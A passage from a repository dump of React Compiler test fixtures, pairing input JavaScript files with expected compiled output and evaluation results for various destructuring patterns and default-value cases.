    "content": "\n## Input\n\n```javascript\nfunction foo({'data-foo-bar': dataTestID}) {\n  return dataTestID;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{'data-foo-bar': {}}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(t0) {\n  const { \"data-foo-bar\": dataTestID } = t0;\n  return dataTestID;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{ \"data-foo-bar\": {} }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.js",
    "content": "function foo({'data-foo-bar': dataTestID}) {\n  return dataTestID;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{'data-foo-bar': {}}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo({data: dataTestID}) {\n  return dataTestID;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{data: {}}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(t0) {\n  const { data: dataTestID } = t0;\n  return dataTestID;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{ data: {} }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.js",
    "content": "function foo({data: dataTestID}) {\n  return dataTestID;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{data: {}}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const {'data-foo-bar': t} = {'data-foo-bar': 1};\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { \"data-foo-bar\": 1 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const { \"data-foo-bar\": t } = t0;\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.js",
    "content": "function foo() {\n  const {'data-foo-bar': t} = {'data-foo-bar': 1};\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const {data: t} = {data: 1};\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { data: 1 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const { data: t } = t0;\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.js",
    "content": "function foo() {\n  const {data: t} = {data: 1};\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [[x] = ['default']] = props.y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const [t0] = props.y;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = t0 === undefined ? [\"default\"] : t0;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const [x] = t1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.js",
    "content": "function Component(props) {\n  const [[x] = ['default']] = props.y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component([a = 2]) {\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(t0) {\n  const [t1] = t0;\n  const a = t1 === undefined ? 2 : t1;\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.js",
    "content": "function Component([a = 2]) {\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  if (props.cond) {\n    [[x] = ['default']] = props.y;\n  } else {\n    x = props.fallback;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if (props.cond) {\n    const [t0] = props.y;\n    let t1;\n    if ($[0] !== t0) {\n      t1 = t0 === undefined ? [\"default\"] : t0;\n      $[0] = t0;\n      $[1] = t1;\n    } else {\n      t1 = $[1];\n    }\n    [x] = t1;\n  } else {\n    x = props.fallback;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.js",
    "content": "function Component(props) {\n  let x;\n  if (props.cond) {\n    [[x] = ['default']] = props.y;\n  } else {\n    x = props.fallback;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let d, g, n, o;\n  [\n    d,\n    [\n      {\n        e: {f: g},\n      },\n    ],\n  ] = a;\n  ({\n    l: {\n      m: [[n]],\n    },\n    o,\n  } = b);\n  return {d, g, n, o};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(5);\n  let d;\n  let g;\n  let n;\n  let o;\n  const [t0, t1] = a;\n  d = t0;\n  const [t2] = t1;\n  const { e: t3 } = t2;\n  ({ f: g } = t3);\n  const { l: t4, o: t5 } = b;\n  const { m: t6 } = t4;\n  const [t7] = t6;\n  [n] = t7;\n  o = t5;\n  let t8;\n  if ($[0] !== d || $[1] !== g || $[2] !== n || $[3] !== o) {\n    t8 = { d, g, n, o };\n    $[0] = d;\n    $[1] = g;\n    $[2] = n;\n    $[3] = o;\n    $[4] = t8;\n  } else {\n    t8 = $[4];\n  }\n  return t8;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.js",
    "content": "function foo(a, b, c) {\n  let d, g, n, o;\n  [\n    d,\n    [\n      {\n        e: {f: g},\n      },\n    ],\n  ] = a;\n  ({\n    l: {\n      m: [[n]],\n    },\n    o,\n  } = b);\n  return {d, g, n, o};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // destructure slot index has a hole in the input, should return default\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [, /* hole! */ 3.14]}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const [t0] = props.value;\n  const x = t0 === undefined ? 42 : t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [, /* hole! */ 3.14] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.js",
    "content": "function Component(props) {\n  // destructure slot index has a hole in the input, should return default\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [, /* hole! */ 3.14]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // destructure slot index has an explicit null in the input, should return null (not the default)\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [null]}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const [t0] = props.value;\n  const x = t0 === undefined ? 42 : t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [null] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.js",
    "content": "function Component(props) {\n  // destructure slot index has an explicit null in the input, should return null (not the default)\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [null]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // destructure slot index has an explicit undefined in the input, should return default\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [undefined]}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const [t0] = props.value;\n  const x = t0 === undefined ? 42 : t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [undefined] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.js",
    "content": "function Component(props) {\n  // destructure slot index has an explicit undefined in the input, should return default\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [undefined]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // destructure past end of empty array, should evaluate to default\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: []}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const [t0] = props.value;\n  const x = t0 === undefined ? 42 : t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.js",
    "content": "function Component(props) {\n  // destructure past end of empty array, should evaluate to default\n  const [x = 42] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: []}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, graphql} from 'shared-runtime';\n\nfunction useFragment(_arg1, _arg2) {\n  'use no forget';\n  return {\n    urls: ['url1', 'url2', 'url3'],\n    comments: ['comment1'],\n  };\n}\n\nfunction Component(props) {\n  const post = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.post\n  );\n  const allUrls = [];\n  // `media` and `urls` are exported from the scope that will wrap this code,\n  // but `comments` is not (it doesn't need to be memoized, bc the callback\n  // only checks `comments.length`)\n  // because of the scope, the let declaration for media and urls are lifted\n  // out of the scope, and the destructure statement ends up turning into\n  // a reassignment, instead of a const declaration. this means we try to\n  // reassign `comments` when there's no declaration for it.\n  const {media = null, comments = [], urls = []} = post;\n  const onClick = e => {\n    if (!comments.length) {\n      return;\n    }\n    console.log(comments.length);\n  };\n  allUrls.push(...urls);\n  return <Stringify media={media} allUrls={allUrls} onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{post: {}}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, graphql } from \"shared-runtime\";\n\nfunction useFragment(_arg1, _arg2) {\n  \"use no forget\";\n  return {\n    urls: [\"url1\", \"url2\", \"url3\"],\n    comments: [\"comment1\"],\n  };\n}\n\nfunction Component(props) {\n  const $ = _c(8);\n  const post = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.post,\n  );\n  let t0;\n  if ($[0] !== post) {\n    const allUrls = [];\n    const { media: t1, comments: t2, urls: t3 } = post;\n    const media = t1 === undefined ? null : t1;\n    let t4;\n    if ($[2] !== t2) {\n      t4 = t2 === undefined ? [] : t2;\n      $[2] = t2;\n      $[3] = t4;\n    } else {\n      t4 = $[3];\n    }\n    const comments = t4;\n    let t5;\n    if ($[4] !== t3) {\n      t5 = t3 === undefined ? [] : t3;\n      $[4] = t3;\n      $[5] = t5;\n    } else {\n      t5 = $[5];\n    }\n    const urls = t5;\n    let t6;\n    if ($[6] !== comments.length) {\n      t6 = (e) => {\n        if (!comments.length) {\n          return;\n        }\n        console.log(comments.length);\n      };\n      $[6] = comments.length;\n      $[7] = t6;\n    } else {\n      t6 = $[7];\n    }\n    const onClick = t6;\n    allUrls.push(...urls);\n    t0 = <Stringify media={media} allUrls={allUrls} onClick={onClick} />;\n    $[0] = post;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ post: {} }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"media\":null,\"allUrls\":[\"url1\",\"url2\",\"url3\"],\"onClick\":\"[[ function params=1 ]]\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.js",
    "content": "import {Stringify, graphql} from 'shared-runtime';\n\nfunction useFragment(_arg1, _arg2) {\n  'use no forget';\n  return {\n    urls: ['url1', 'url2', 'url3'],\n    comments: ['comment1'],\n  };\n}\n\nfunction Component(props) {\n  const post = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.post\n  );\n  const allUrls = [];\n  // `media` and `urls` are exported from the scope that will wrap this code,\n  // but `comments` is not (it doesn't need to be memoized, bc the callback\n  // only checks `comments.length`)\n  // because of the scope, the let declaration for media and urls are lifted\n  // out of the scope, and the destructure statement ends up turning into\n  // a reassignment, instead of a const declaration. this means we try to\n  // reassign `comments` when there's no declaration for it.\n  const {media = null, comments = [], urls = []} = post;\n  const onClick = e => {\n    if (!comments.length) {\n      return;\n    }\n    console.log(comments.length);\n  };\n  allUrls.push(...urls);\n  return <Stringify media={media} allUrls={allUrls} onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{post: {}}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const post = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.post\n  );\n  const allUrls = [];\n  // `media` and `urls` are exported from the scope that will wrap this code,\n  // but `comments` is not (it doesn't need to be memoized, bc the callback\n  // only checks `comments.length`)\n  // because of the scope, the let declaration for media and urls are lifted\n  // out of the scope, and the destructure statement ends up turning into\n  // a reassignment, instead of a const declaration. this means we try to\n  // reassign `comments` when there's no declaration for it.\n  const {media, comments, urls} = post;\n  const onClick = e => {\n    if (!comments.length) {\n      return;\n    }\n    console.log(comments.length);\n  };\n  allUrls.push(...urls);\n  return <Media media={media} onClick={onClick} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useFragment } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  const post = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.post,\n  );\n  let t0;\n  if ($[0] !== post) {\n    const allUrls = [];\n    const { media, comments, urls } = post;\n    let t1;\n    if ($[2] !== comments.length) {\n      t1 = (e) => {\n        if (!comments.length) {\n          return;\n        }\n        console.log(comments.length);\n      };\n      $[2] = comments.length;\n      $[3] = t1;\n    } else {\n      t1 = $[3];\n    }\n    const onClick = t1;\n    allUrls.push(...urls);\n    t0 = <Media media={media} onClick={onClick} />;\n    $[0] = post;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.js",
    "content": "import {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const post = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.post\n  );\n  const allUrls = [];\n  // `media` and `urls` are exported from the scope that will wrap this code,\n  // but `comments` is not (it doesn't need to be memoized, bc the callback\n  // only checks `comments.length`)\n  // because of the scope, the let declaration for media and urls are lifted\n  // out of the scope, and the destructure statement ends up turning into\n  // a reassignment, instead of a const declaration. this means we try to\n  // reassign `comments` when there's no declaration for it.\n  const {media, comments, urls} = post;\n  const onClick = e => {\n    if (!comments.length) {\n      return;\n    }\n    console.log(comments.length);\n  };\n  allUrls.push(...urls);\n  return <Media media={media} onClick={onClick} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const {x: {y} = {y: 'default'}} = props.y;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const { x: t0 } = props.y;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = t0 === undefined ? { y: \"default\" } : t0;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const { y } = t1;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.js",
    "content": "function Component(props) {\n  const {x: {y} = {y: 'default'}} = props.y;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({a = 2}) {\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(t0) {\n  const { a: t1 } = t0;\n  const a = t1 === undefined ? 2 : t1;\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.js",
    "content": "function Component({a = 2}) {\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [y, ...{z}] = props.value;\n  return [y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: ['y', {z: 'z!'}]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  let y;\n  if ($[0] !== props.value) {\n    [y, ...t0] = props.value;\n    $[0] = props.value;\n    $[1] = t0;\n    $[2] = y;\n  } else {\n    t0 = $[1];\n    y = $[2];\n  }\n  const { z } = t0;\n  let t1;\n  if ($[3] !== y || $[4] !== z) {\n    t1 = [y, z];\n    $[3] = y;\n    $[4] = z;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [\"y\", { z: \"z!\" }] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"y\",null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.js",
    "content": "function Component(props) {\n  const [y, ...{z}] = props.value;\n  return [y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: ['y', {z: 'z!'}]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  x.push(props.value);\n  const {length: y} = x;\n  foo(y);\n  return [x, y];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.value) {\n    x = [];\n    x.push(props.value);\n    $[0] = props.value;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  const { length: y } = x;\n  foo(y);\n  let t0;\n  if ($[2] !== x || $[3] !== y) {\n    t0 = [x, y];\n    $[2] = x;\n    $[3] = y;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.js",
    "content": "function Component(props) {\n  const x = [];\n  x.push(props.value);\n  const {length: y} = x;\n  foo(y);\n  return [x, y];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const {\n    x: {destructured},\n    sameName: renamed,\n  } = props;\n  const sameName = identity(destructured);\n\n  return [sameName, renamed];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {destructured: 0}, sameName: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  const { x: t0, sameName: renamed } = props;\n  const { destructured } = t0;\n  let t1;\n  if ($[0] !== destructured) {\n    t1 = identity(destructured);\n    $[0] = destructured;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const sameName = t1;\n  let t2;\n  if ($[2] !== renamed || $[3] !== sameName) {\n    t2 = [sameName, renamed];\n    $[2] = renamed;\n    $[3] = sameName;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: { destructured: 0 }, sameName: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [0,2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const {\n    x: {destructured},\n    sameName: renamed,\n  } = props;\n  const sameName = identity(destructured);\n\n  return [sameName, renamed];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {destructured: 0}, sameName: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [x = true ? 1 : 0] = props.y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: []}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const [t0] = props.y;\n  const x = t0 === undefined ? (true ? 1 : 0) : t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: [] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.js",
    "content": "function Component(props) {\n  const [x = true ? 1 : 0] = props.y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: []}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nfunction Component(props) {\n  const [x = ([]: Array<number>)] = props.y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{y: []}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const [t0] = props.y;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = t0 === undefined ? ([]: Array<number>) : t0;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ y: [] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.js",
